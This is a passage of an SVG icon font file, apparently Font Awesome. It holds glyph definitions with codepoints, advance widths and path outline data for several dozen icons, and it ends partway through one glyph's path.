454 <glyph unicode="&#xf1cc;" horiz-adv-x="2048" d="M1800 764q111 -46 179.5 -145.5t68.5 -221.5q0 -164 -118 -280.5t-285 -116.5q-4 0 -11.5 0.5t-10.5 0.5h-1209h-1h-2h-5q-170 10 -288 125.5t-118 280.5q0 110 55 203t147 147q-12 39 -12 82q0 115 82 196t199 81q95 0 172 -58q75 154 222.5 248t326.5 94 q166 0 306 -80.5t221.5 -218.5t81.5 -301q0 -6 -0.5 -18t-0.5 -18zM468 498q0 -122 84 -193t208 -71q137 0 240 99q-16 20 -47.5 56.5t-43.5 50.5q-67 -65 -144 -65q-55 0 -93.5 33.5t-38.5 87.5q0 53 38.5 87t91.5 34q44 0 84.5 -21t73 -55t65 -75t69 -82t77 -75t97 -55 t121.5 -21q121 0 204.5 71.5t83.5 190.5q0 121 -84 192t-207 71q-143 0 -241 -97q14 -16 29.5 -34t34.5 -40t29 -34q66 64 142 64q52 0 92 -33t40 -84q0 -57 -37 -91.5t-94 -34.5q-43 0 -82.5 21t-72 55t-65.5 75t-69.5 82t-77.5 75t-96.5 55t-118.5 21q-122 0 -207 -70.5 t-85 -189.5z" />
455 <glyph unicode="&#xf1cd;" horiz-adv-x="1792" d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 1408q-190 0 -361 -90l194 -194q82 28 167 28t167 -28l194 194q-171 90 -361 90zM218 279l194 194 q-28 82 -28 167t28 167l-194 194q-90 -171 -90 -361t90 -361zM896 -128q190 0 361 90l-194 194q-82 -28 -167 -28t-167 28l-194 -194q171 -90 361 -90zM896 256q159 0 271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5 t271.5 -112.5zM1380 473l194 -194q90 171 90 361t-90 361l-194 -194q28 -82 28 -167t-28 -167z" />
456 <glyph unicode="&#xf1ce;" horiz-adv-x="1792" d="M1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348q0 222 101 414.5t276.5 317t390.5 155.5v-260q-221 -45 -366.5 -221t-145.5 -406q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5 q0 230 -145.5 406t-366.5 221v260q215 -31 390.5 -155.5t276.5 -317t101 -414.5z" />
457 <glyph unicode="&#xf1d0;" horiz-adv-x="1792" d="M19 662q8 217 116 406t305 318h5q0 -1 -1 -3q-8 -8 -28 -33.5t-52 -76.5t-60 -110.5t-44.5 -135.5t-14 -150.5t39 -157.5t108.5 -154q50 -50 102 -69.5t90.5 -11.5t69.5 23.5t47 32.5l16 16q39 51 53 116.5t6.5 122.5t-21 107t-26.5 80l-14 29q-10 25 -30.5 49.5t-43 41 t-43.5 29.5t-35 19l-13 6l104 115q39 -17 78 -52t59 -61l19 -27q1 48 -18.5 103.5t-40.5 87.5l-20 31l161 183l160 -181q-33 -46 -52.5 -102.5t-22.5 -90.5l-4 -33q22 37 61.5 72.5t67.5 52.5l28 17l103 -115q-44 -14 -85 -50t-60 -65l-19 -29q-31 -56 -48 -133.5t-7 -170 t57 -156.5q33 -45 77.5 -60.5t85 -5.5t76 26.5t57.5 33.5l21 16q60 53 96.5 115t48.5 121.5t10 121.5t-18 118t-37 107.5t-45.5 93t-45 72t-34.5 47.5l-13 17q-14 13 -7 13l10 -3q40 -29 62.5 -46t62 -50t64 -58t58.5 -65t55.5 -77t45.5 -88t38 -103t23.5 -117t10.5 -136 q3 -259 -108 -465t-312 -321t-456 -115q-185 0 -351 74t-283.5 198t-184 293t-60.5 353z" />
458 <glyph unicode="&#xf1d1;" horiz-adv-x="1792" d="M874 -102v-66q-208 6 -385 109.5t-283 275.5l58 34q29 -49 73 -99l65 57q148 -168 368 -212l-17 -86q65 -12 121 -13zM276 428l-83 -28q22 -60 49 -112l-57 -33q-98 180 -98 385t98 385l57 -33q-30 -56 -49 -112l82 -28q-35 -100 -35 -212q0 -109 36 -212zM1528 251 l58 -34q-106 -172 -283 -275.5t-385 -109.5v66q56 1 121 13l-17 86q220 44 368 212l65 -57q44 50 73 99zM1377 805l-233 -80q14 -42 14 -85t-14 -85l232 -80q-31 -92 -98 -169l-185 162q-57 -67 -147 -85l48 -241q-52 -10 -98 -10t-98 10l48 241q-90 18 -147 85l-185 -162 q-67 77 -98 169l232 80q-14 42 -14 85t14 85l-233 80q33 93 99 169l185 -162q59 68 147 86l-48 240q44 10 98 10t98 -10l-48 -240q88 -18 147 -86l185 162q66 -76 99 -169zM874 1448v-66q-65 -2 -121 -13l17 -86q-220 -42 -368 -211l-65 56q-38 -42 -73 -98l-57 33 q106 172 282 275.5t385 109.5zM1705 640q0 -205 -98 -385l-57 33q27 52 49 112l-83 28q36 103 36 212q0 112 -35 212l82 28q-19 56 -49 112l57 33q98 -180 98 -385zM1585 1063l-57 -33q-35 56 -73 98l-65 -56q-148 169 -368 211l17 86q-56 11 -121 13v66q209 -6 385 -109.5 t282 -275.5zM1748 640q0 173 -67.5 331t-181.5 272t-272 181.5t-331 67.5t-331 -67.5t-272 -181.5t-181.5 -272t-67.5 -331t67.5 -331t181.5 -272t272 -181.5t331 -67.5t331 67.5t272 181.5t181.5 272t67.5 331zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71 t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
459 <glyph unicode="&#xf1d2;" d="M582 228q0 -66 -93 -66q-107 0 -107 63q0 64 98 64q102 0 102 -61zM546 694q0 -85 -74 -85q-77 0 -77 84q0 90 77 90q36 0 55 -25.5t19 -63.5zM712 769v125q-78 -29 -135 -29q-50 29 -110 29q-86 0 -145 -57t-59 -143q0 -50 29.5 -102t73.5 -67v-3q-38 -17 -38 -85 q0 -53 41 -77v-3q-113 -37 -113 -139q0 -45 20 -78.5t54 -51t72 -25.5t81 -8q224 0 224 188q0 67 -48 99t-126 46q-27 5 -51.5 20.5t-24.5 39.5q0 44 49 52q77 15 122 70t45 134q0 24 -10 52q37 9 49 13zM771 350h137q-2 27 -2 82v387q0 46 2 69h-137q3 -23 3 -71v-392 q0 -50 -3 -75zM1280 366v121q-30 -21 -68 -21q-53 0 -53 82v225h52q9 0 26.5 -1t26.5 -1v117h-105q0 82 3 102h-140q4 -24 4 -55v-47h-60v-117q36 3 37 3q3 0 11 -0.5t12 -0.5v-2h-2v-217q0 -37 2.5 -64t11.5 -56.5t24.5 -48.5t43.5 -31t66 -12q64 0 108 24zM924 1072 q0 36 -24 63.5t-60 27.5t-60.5 -27t-24.5 -64q0 -36 25 -62.5t60 -26.5t59.5 27t24.5 62zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
460 <glyph unicode="&#xf1d3;" horiz-adv-x="1792" d="M595 22q0 100 -165 100q-158 0 -158 -104q0 -101 172 -101q151 0 151 105zM536 777q0 61 -30 102t-89 41q-124 0 -124 -145q0 -135 124 -135q119 0 119 137zM805 1101v-202q-36 -12 -79 -22q16 -43 16 -84q0 -127 -73 -216.5t-197 -112.5q-40 -8 -59.5 -27t-19.5 -58 q0 -31 22.5 -51.5t58 -32t78.5 -22t86 -25.5t78.5 -37.5t58 -64t22.5 -98.5q0 -304 -363 -304q-69 0 -130 12.5t-116 41t-87.5 82t-32.5 127.5q0 165 182 225v4q-67 41 -67 126q0 109 63 137v4q-72 24 -119.5 108.5t-47.5 165.5q0 139 95 231.5t235 92.5q96 0 178 -47 q98 0 218 47zM1123 220h-222q4 45 4 134v609q0 94 -4 128h222q-4 -33 -4 -124v-613q0 -89 4 -134zM1724 442v-196q-71 -39 -174 -39q-62 0 -107 20t-70 50t-39.5 78t-18.5 92t-4 103v351h2v4q-7 0 -19 1t-18 1q-21 0 -59 -6v190h96v76q0 54 -6 89h227q-6 -41 -6 -165h171 v-190q-15 0 -43.5 2t-42.5 2h-85v-365q0 -131 87 -131q61 0 109 33zM1148 1389q0 -58 -39 -101.5t-96 -43.5q-58 0 -98 43.5t-40 101.5q0 59 39.5 103t98.5 44q58 0 96.5 -44.5t38.5 -102.5z" />
461 <glyph unicode="&#xf1d4;" d="M825 547l343 588h-150q-21 -39 -63.5 -118.5t-68 -128.5t-59.5 -118.5t-60 -128.5h-3q-21 48 -44.5 97t-52 105.5t-46.5 92t-54 104.5t-49 95h-150l323 -589v-435h134v436zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960 q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
462 <glyph unicode="&#xf1d5;" horiz-adv-x="1280" d="M842 964q0 -80 -57 -136.5t-136 -56.5q-60 0 -111 35q-62 -67 -115 -146q-247 -371 -202 -859q1 -22 -12.5 -38.5t-34.5 -18.5h-5q-20 0 -35 13.5t-17 33.5q-14 126 -3.5 247.5t29.5 217t54 186t69 155.5t74 125q61 90 132 165q-16 35 -16 77q0 80 56.5 136.5t136.5 56.5 t136.5 -56.5t56.5 -136.5zM1223 953q0 -158 -78 -292t-212.5 -212t-292.5 -78q-64 0 -131 14q-21 5 -32.5 23.5t-6.5 39.5q5 20 23 31.5t39 7.5q51 -13 108 -13q97 0 186 38t153 102t102 153t38 186t-38 186t-102 153t-153 102t-186 38t-186 -38t-153 -102t-102 -153 t-38 -186q0 -114 52 -218q10 -20 3.5 -40t-25.5 -30t-39.5 -3t-30.5 26q-64 123 -64 265q0 119 46.5 227t124.5 186t186 124t226 46q158 0 292.5 -78t212.5 -212.5t78 -292.5z" />
463 <glyph unicode="&#xf1d6;" horiz-adv-x="1792" d="M270 730q-8 19 -8 52q0 20 11 49t24 45q-1 22 7.5 53t22.5 43q0 139 92.5 288.5t217.5 209.5q139 66 324 66q133 0 266 -55q49 -21 90 -48t71 -56t55 -68t42 -74t32.5 -84.5t25.5 -89.5t22 -98l1 -5q55 -83 55 -150q0 -14 -9 -40t-9 -38q0 -1 1.5 -3.5t3.5 -5t2 -3.5 q77 -114 120.5 -214.5t43.5 -208.5q0 -43 -19.5 -100t-55.5 -57q-9 0 -19.5 7.5t-19 17.5t-19 26t-16 26.5t-13.5 26t-9 17.5q-1 1 -3 1l-5 -4q-59 -154 -132 -223q20 -20 61.5 -38.5t69 -41.5t35.5 -65q-2 -4 -4 -16t-7 -18q-64 -97 -302 -97q-53 0 -110.5 9t-98 20 t-104.5 30q-15 5 -23 7q-14 4 -46 4.5t-40 1.5q-41 -45 -127.5 -65t-168.5 -20q-35 0 -69 1.5t-93 9t-101 20.5t-74.5 40t-32.5 64q0 40 10 59.5t41 48.5q11 2 40.5 13t49.5 12q4 0 14 2q2 2 2 4l-2 3q-48 11 -108 105.5t-73 156.5l-5 3q-4 0 -12 -20q-18 -41 -54.5 -74.5 t-77.5 -37.5h-1q-4 0 -6 4.5t-5 5.5q-23 54 -23 100q0 275 252 466z" />
464 <glyph unicode="&#xf1d7;" horiz-adv-x="2048" d="M580 1075q0 41 -25 66t-66 25q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 66 24.5t25 65.5zM1323 568q0 28 -25.5 50t-65.5 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q40 0 65.5 22t25.5 51zM1087 1075q0 41 -24.5 66t-65.5 25 q-43 0 -76 -25.5t-33 -65.5q0 -39 33 -64.5t76 -25.5q41 0 65.5 24.5t24.5 65.5zM1722 568q0 28 -26 50t-65 22q-27 0 -49.5 -22.5t-22.5 -49.5q0 -28 22.5 -50.5t49.5 -22.5q39 0 65 22t26 51zM1456 965q-31 4 -70 4q-169 0 -311 -77t-223.5 -208.5t-81.5 -287.5 q0 -78 23 -152q-35 -3 -68 -3q-26 0 -50 1.5t-55 6.5t-44.5 7t-54.5 10.5t-50 10.5l-253 -127l72 218q-290 203 -290 490q0 169 97.5 311t264 223.5t363.5 81.5q176 0 332.5 -66t262 -182.5t136.5 -260.5zM2048 404q0 -117 -68.5 -223.5t-185.5 -193.5l55 -181l-199 109 q-150 -37 -218 -37q-169 0 -311 70.5t-223.5 191.5t-81.5 264t81.5 264t223.5 191.5t311 70.5q161 0 303 -70.5t227.5 -192t85.5 -263.5z" />
465 <glyph unicode="&#xf1d8;" horiz-adv-x="1792" d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-453 185l-242 -295q-18 -23 -49 -23q-13 0 -22 4q-19 7 -30.5 23.5t-11.5 36.5v349l864 1059l-1069 -925l-395 162q-37 14 -40 55q-2 40 32 59l1664 960q15 9 32 9q20 0 36 -11z" />
466 <glyph unicode="&#xf1d9;" horiz-adv-x="1792" d="M1764 1525q33 -24 27 -64l-256 -1536q-5 -29 -32 -45q-14 -8 -31 -8q-11 0 -24 5l-527 215l-298 -327q-18 -21 -47 -21q-14 0 -23 4q-19 7 -30 23.5t-11 36.5v452l-472 193q-37 14 -40 55q-3 39 32 59l1664 960q35 21 68 -2zM1422 26l221 1323l-1434 -827l336 -137 l863 639l-478 -797z" />
467 <glyph unicode="&#xf1da;" d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5 t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298zM896 928v-448q0 -14 -9 -23 t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23z" />
468 <glyph unicode="&#xf1db;" d="M768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
469 <glyph unicode="&#xf1dc;" horiz-adv-x="1792" d="M1682 -128q-44 0 -132.5 3.5t-133.5 3.5q-44 0 -132 -3.5t-132 -3.5q-24 0 -37 20.5t-13 45.5q0 31 17 46t39 17t51 7t45 15q33 21 33 140l-1 391q0 21 -1 31q-13 4 -50 4h-675q-38 0 -51 -4q-1 -10 -1 -31l-1 -371q0 -142 37 -164q16 -10 48 -13t57 -3.5t45 -15 t20 -45.5q0 -26 -12.5 -48t-36.5 -22q-47 0 -139.5 3.5t-138.5 3.5q-43 0 -128 -3.5t-127 -3.5q-23 0 -35.5 21t-12.5 45q0 30 15.5 45t36 17.5t47.5 7.5t42 15q33 23 33 143l-1 57v813q0 3 0.5 26t0 36.5t-1.5 38.5t-3.5 42t-6.5 36.5t-11 31.5t-16 18q-15 10 -45 12t-53 2 t-41 14t-18 45q0 26 12 48t36 22q46 0 138.5 -3.5t138.5 -3.5q42 0 126.5 3.5t126.5 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17 -43.5t-38.5 -14.5t-49.5 -4t-43 -13q-35 -21 -35 -160l1 -320q0 -21 1 -32q13 -3 39 -3h699q25 0 38 3q1 11 1 32l1 320q0 139 -35 160 q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5 q0 -26 -12 -48t-36 -22z" />
470 <glyph unicode="&#xf1dd;" horiz-adv-x="1280" d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179 q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
471 <glyph unicode="&#xf1de;" d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256 q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
472 <glyph unicode="&#xf1e0;" d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5 t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
473 <glyph unicode="&#xf1e1;" d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5 t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
474 <glyph unicode="&#xf1e2;" horiz-adv-x="1792" d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5 t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91 q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9 t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
475 <glyph unicode="&#xf1e3;" horiz-adv-x="1792" d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323 l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
476 <glyph unicode="&#xf1e4;" horiz-adv-x="1792" d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23 v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23 zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5 t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
477 <glyph unicode="&#xf1e5;" horiz-adv-x="1792" d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
478 <glyph unicode="&#xf1e6;" horiz-adv-x="1792" d="M1755 1083q37 -37 37 -90t-37 -91l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234l401 400 q38 37 91 37t90 -37z" />
479 <glyph unicode="&#xf1e7;" horiz-adv-x="1792" d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5 t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q3 -2 11 -7 t11 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
480 <glyph unicode="&#xf1e8;" horiz-adv-x="1792" d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
481 <glyph unicode="&#xf1e9;" d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36 q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q70 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5 t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87 q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
482 <glyph unicode="&#xf1ea;" horiz-adv-x="2048" d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19 t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
483 <glyph unicode="&#xf1eb;" horiz-adv-x="2048" d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121 q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
484 <glyph unicode="&#xf1ec;" horiz-adv-x="1792" d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5 t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5 t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 